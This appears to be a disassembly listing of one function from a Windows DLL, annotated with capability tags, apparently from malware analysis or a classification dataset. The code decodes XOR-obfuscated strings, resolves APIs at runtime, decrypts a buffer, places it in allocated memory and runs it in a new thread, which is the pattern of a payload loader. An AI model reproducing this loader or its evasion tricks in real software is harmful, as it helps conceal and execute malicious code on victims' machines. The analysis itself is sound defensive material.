Function at 0x10001c70
Capabilities:
Create thread
Encode data using xor
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0
mov eax, dword [0x10013004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x10001c50
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov esi, dword [0x10014258]
xorps xmm0, xmm0
mov dword [ebp - 0xb0], 0
xor ecx, ecx
mov byte [ebp - 0x24], 0
movups xmmword [ebp - 0x23], xmm0
mov dword [ebp - 0xb], 0
movq qword [ebp - 0x13], xmm0
mov word [ebp - 7], 0
mov byte [ebp - 5], 0
mov dword [ebp - 0x94], 0xaea7a181
mov dword [ebp - 0x90], 0xa1bea999
mov dword [ebp - 0x8c], 0xb7b2a2ba
mov word [ebp - 0x88], 0x92
lea eax, [ecx - 0x39]
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0xd
jb 0x10001cf2
lea eax, [ebp - 0x94]
mov byte [ebp - 0x87], 0
push eax
lea eax, [ebp - 0x24]
push 0x20
push eax
call fcn.100045a7
xorps xmm0, xmm0
mov byte [ebp - 0x64], 0
add esp, 0xc
movq qword [ebp - 0x53], xmm0
movups xmmword [ebp - 0x63], xmm0
mov dword [ebp - 0x4b], 0
xor ecx, ecx
mov word [ebp - 0x47], 0
mov byte [ebp - 0x45], 0
mov dword [ebp - 0xa4], 0xa4bbad8c
mov dword [ebp - 0xa0], 0xfcfea0ae
mov dword [ebp - 0x9c], 0xbebdb4e1
mov byte [ebp - 0x98], 0
nop word [eax + eax]
lea eax, [ecx - 0x39]
xor byte [ebp + ecx - 0xa4], al
inc ecx
cmp ecx, 0xc
jb 0x10001d70
lea eax, [ebp - 0xa4]
mov byte [ebp - 0x98], 0
push eax
lea eax, [ebp - 0x64]
push 0x20
push eax
call fcn.100045a7
add esp, 0xc
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x10001dba
lea eax, [ebp - 0x64]
push eax
call ebx
test eax, eax
je 0x10001dcb
lea ecx, [ebp - 0x24]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, eax
test edx, edx
jne 0x10001ddd
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100025ec
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0xa8], 0x878185
xor ecx, ecx
nop dword [eax]
lea eax, [ecx - 0x39]
xor byte [ebp + ecx - 0xa8], al
inc ecx
cmp ecx, 3
jb 0x10001df0
push edi
lea eax, [ebp - 0xa8]
mov byte [ebp - 0xa5], 0
push eax
push 0x81
push esi
call edx
xorps xmm0, xmm0
mov byte [ebp - 0x84], 0
mov edi, eax
movq qword [ebp - 0x73], xmm0
movups xmmword [ebp - 0x83], xmm0
mov dword [ebp - 0x6b], 0
xor ecx, ecx
mov word [ebp - 0x67], 0
mov byte [ebp - 0x65], 0
mov dword [ebp - 0xa4], 0xaea8a78b
mov dword [ebp - 0xa0], 0xa1bea999
mov dword [ebp - 0x9c], 0xb7b2a2ba
mov byte [ebp - 0x98], 0
nop word [eax + eax]
lea eax, [ecx - 0x39]
xor byte [ebp + ecx - 0xa4], al
inc ecx
cmp ecx, 0xc
jb 0x10001e70
lea eax, [ebp - 0xa4]
mov byte [ebp - 0x98], 0
push eax
lea eax, [ebp - 0x84]
push 0x20
push eax
call fcn.100045a7
xorps xmm0, xmm0
mov byte [ebp - 0x64], 0
add esp, 0xc
movq qword [ebp - 0x53], xmm0
movups xmmword [ebp - 0x63], xmm0
mov dword [ebp - 0x4b], 0
xor ecx, ecx
mov word [ebp - 0x47], 0
mov byte [ebp - 0x45], 0
mov dword [ebp - 0xa4], 0xa4bbad8c
mov dword [ebp - 0xa0], 0xfcfea0ae
mov dword [ebp - 0x9c], 0xbebdb4e1
mov byte [ebp - 0x98], 0
nop word [eax + eax]
lea eax, [ecx - 0x39]
xor byte [ebp + ecx - 0xa4], al
inc ecx
cmp ecx, 0xc
jb 0x10001ef0
lea eax, [ebp - 0xa4]
mov byte [ebp - 0x98], 0
push eax
lea eax, [ebp - 0x64]
push 0x20
push eax
call fcn.100045a7
add esp, 0xc
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x10001f38
lea eax, [ebp - 0x64]
push eax
call ebx
test eax, eax
je 0x100024dd
lea ecx, [ebp - 0x84]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100024dd
push edi
push esi
call eax
xorps xmm0, xmm0
mov dword [ebp - 0x9c], eax
mov byte [ebp - 0x44], 0
xor ecx, ecx
movups xmmword [ebp - 0x43], xmm0
mov dword [ebp - 0x2b], 0
movq qword [ebp - 0x33], xmm0
mov word [ebp - 0x27], 0
mov byte [ebp - 0x25], 0
mov dword [ebp - 0x94], 0xafb3a194
mov dword [ebp - 0x90], 0xab9faaa4
mov dword [ebp - 0x8c], 0xa0a4bfbc
mov word [ebp - 0x88], 0xb1b0
mov byte [ebp - 0x86], 0
nop dword [eax]
lea eax, [ecx - 0x39]
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0xe
jb 0x10001fb0
lea eax, [ebp - 0x94]
mov byte [ebp - 0x86], 0
push eax
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.100045a7
xorps xmm0, xmm0
mov byte [ebp - 0x24], 0
add esp, 0xc
movq qword [ebp - 0x13], xmm0
movups xmmword [ebp - 0x23], xmm0
mov dword [ebp - 0xb], 0
xor ecx, ecx
mov word [ebp - 7], 0
mov byte [ebp - 5], 0
mov dword [ebp - 0x94], 0xa4bbad8c
mov dword [ebp - 0x90], 0xfcfea0ae
mov dword [ebp - 0x8c], 0xbebdb4e1
mov byte [ebp - 0x88], 0
lea eax, [ecx - 0x39]
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0xc
jb 0x10002024
lea eax, [ebp - 0x94]
mov byte [ebp - 0x88], 0
push eax
lea eax, [ebp - 0x24]
push 0x20
push eax
call fcn.100045a7
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x1000206c
lea eax, [ebp - 0x24]
push eax
call ebx
test eax, eax
je 0x100024dd
lea ecx, [ebp - 0x44]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100024dd
push edi
push esi
call eax
xorps xmm0, xmm0
mov byte [ebp - 0x44], 0
mov edi, eax
movq qword [ebp - 0x33], xmm0
movups xmmword [ebp - 0x43], xmm0
mov dword [ebp - 0x2b], 0
xor ecx, ecx
mov word [ebp - 0x27], 0
mov byte [ebp - 0x25], 0
mov dword [ebp - 0x94], 0xa1aaa78b
mov dword [ebp - 0x90], 0xa1bea999
mov dword [ebp - 0x8c], 0xb7b2a2ba
mov byte [ebp - 0x88], 0
nop dword [eax]
lea eax, [ecx - 0x39]
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0xc
jb 0x100020d0
lea eax, [ebp - 0x94]
mov byte [ebp - 0x88], 0
push eax
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.100045a7
xorps xmm0, xmm0
mov byte [ebp - 0x24], 0
add esp, 0xc
movq qword [ebp - 0x13], xmm0
movups xmmword [ebp - 0x23], xmm0
mov dword [ebp - 0xb], 0
xor ecx, ecx
mov word [ebp - 7], 0
mov byte [ebp - 5], 0
mov dword [ebp - 0x94], 0xa4bbad8c
mov dword [ebp - 0x90], 0xfcfea0ae
mov dword [ebp - 0x8c], 0xbebdb4e1
mov byte [ebp - 0x88], 0
lea eax, [ecx - 0x39]
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0xc
jb 0x10002144
lea eax, [ebp - 0x94]
mov byte [ebp - 0x88], 0
push eax
lea eax, [ebp - 0x24]
push 0x20
push eax
call fcn.100045a7
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x1000218c
lea eax, [ebp - 0x24]
push eax
call ebx
test eax, eax
je 0x100024dd
lea ecx, [ebp - 0x44]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100024dd
push dword [ebp - 0x9c]
call eax
push edi
mov esi, eax
call fcn.100025fd
mov ebx, eax
add esp, 4
mov dword [ebp - 0xac], ebx
test ebx, ebx
je 0x100024dd
push edi
push esi
push ebx
call fcn.1000c170
add esp, 0xc
mov dword [ebp - 0xa0], 0x90792aea
xor ecx, ecx
mov dword [ebp - 0x9c], 0x318ccfab
test edi, edi
je 0x10002204
nop word [eax + eax]
mov eax, ecx
and eax, 7
mov al, byte [ebp + eax - 0xa0]
xor byte [ecx + ebx], al
inc ecx
cmp ecx, edi
jb 0x100021f0
xorps xmm0, xmm0
mov byte [ebp - 0x44], 0
lea esi, [edi + 0x400]
movq qword [ebp - 0x33], xmm0
movups xmmword [ebp - 0x43], xmm0
mov dword [ebp - 0x2b], 0
xor ecx, ecx
mov word [ebp - 0x27], 0
mov byte [ebp - 0x25], 0
mov dword [ebp - 0x94], 0xbebba191
mov dword [ebp - 0x90], 0x8fa1adbe
mov dword [ebp - 0x8c], 0xb1bebca3
mov byte [ebp - 0x88], 0
lea eax, [ecx - 0x39]
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0xc
jb 0x10002252
lea eax, [ebp - 0x94]
mov byte [ebp - 0x88], 0
push eax
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.100045a7
xorps xmm0, xmm0
mov byte [ebp - 0x24], 0
add esp, 0xc
movq qword [ebp - 0x13], xmm0
movups xmmword [ebp - 0x23], xmm0
mov dword [ebp - 0xb], 0
xor ecx, ecx
mov word [ebp - 7], 0
mov byte [ebp - 5], 0
mov dword [ebp - 0x94], 0xa4bbad8c
mov dword [ebp - 0x90], 0xfcfe80ae
mov dword [ebp - 0x8c], 0xbebdb4e1
mov byte [ebp - 0x88], 0
nop word [eax + eax]
lea eax, [ecx - 0x39]
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0xc
jb 0x100022d0
lea eax, [ebp - 0x94]
mov byte [ebp - 0x88], 0
push eax
lea eax, [ebp - 0x24]
push 0x20
push eax
call fcn.100045a7
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x1000231c
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x100024dd
lea ecx, [ebp - 0x44]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100024dd
push 0x40
push 0x3000
push esi
push 0
call eax
mov dword [ebp - 0xa8], eax
test eax, eax
je 0x10002526
lea ecx, [edi + 0x400]
xor esi, esi
test ecx, ecx
jle 0x100023ab
mov dword [ebp - 0x9c], 0x38
lea ebx, [edi + 0x400]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0xff
div ecx
mov eax, esi
mov ecx, edx
cdq
idiv dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa8]
add cl, dl
push 1
mov byte [esi + eax], cl
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, 0x89
jg 0x1000239f
inc esi
cmp esi, ebx
jl 0x10002365
mov ebx, dword [ebp - 0xac]
mov eax, dword [ebp - 0xa8]
push edi
lea esi, [eax + 0x89]
push ebx
push esi
call fcn.1000c170
xorps xmm0, xmm0
mov byte [ebp - 0x44], 0
add esp, 0xc
movq qword [ebp - 0x33], xmm0
movups xmmword [ebp - 0x43], xmm0
mov dword [ebp - 0x2b], 0
xor ecx, ecx
mov word [ebp - 0x27], 0
mov byte [ebp - 0x25], 0
mov dword [ebp - 0x94], 0xbebba191
mov dword [ebp - 0x90], 0x9ea1adbe
mov dword [ebp - 0x8c], 0xb7a5bfbd
mov word [ebp - 0x88], 0xa0b0
mov byte [ebp - 0x86], 0
nop dword [eax]
lea eax, [ecx - 0x39]
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0xe
jb 0x10002410
lea eax, [ebp - 0x94]
mov byte [ebp - 0x86], 0
push eax
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.100045a7
xorps xmm0, xmm0
mov byte [ebp - 0x24], 0
add esp, 0xc
movq qword [ebp - 0x13], xmm0
movups xmmword [ebp - 0x23], xmm0
mov dword [ebp - 0xb], 0
xor ecx, ecx
mov word [ebp - 7], 0
mov byte [ebp - 5], 0
mov dword [ebp - 0x94], 0xa4bbad8c
mov dword [ebp - 0x90], 0xfcfe80ae
mov dword [ebp - 0x8c], 0xbebdb4e1
mov byte [ebp - 0x88], 0
lea eax, [ecx - 0x39]
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0xc
jb 0x10002484
lea eax, [ebp - 0x94]
mov byte [ebp - 0x88], 0
push eax
lea eax, [ebp - 0x24]
push 0x20
push eax
call fcn.100045a7
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x100024cc
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x100024dd
lea ecx, [ebp - 0x44]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
test ecx, ecx
jne 0x100024f0
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100025ec
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0xb0]
push eax
push 0x20
lea eax, [edi + 0x400]
push eax
push dword [ebp - 0xa8]
call ecx
push 0
push 0
push 0
push 0x10001c60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100025ec
mov esp, ebp
pop ebp
ret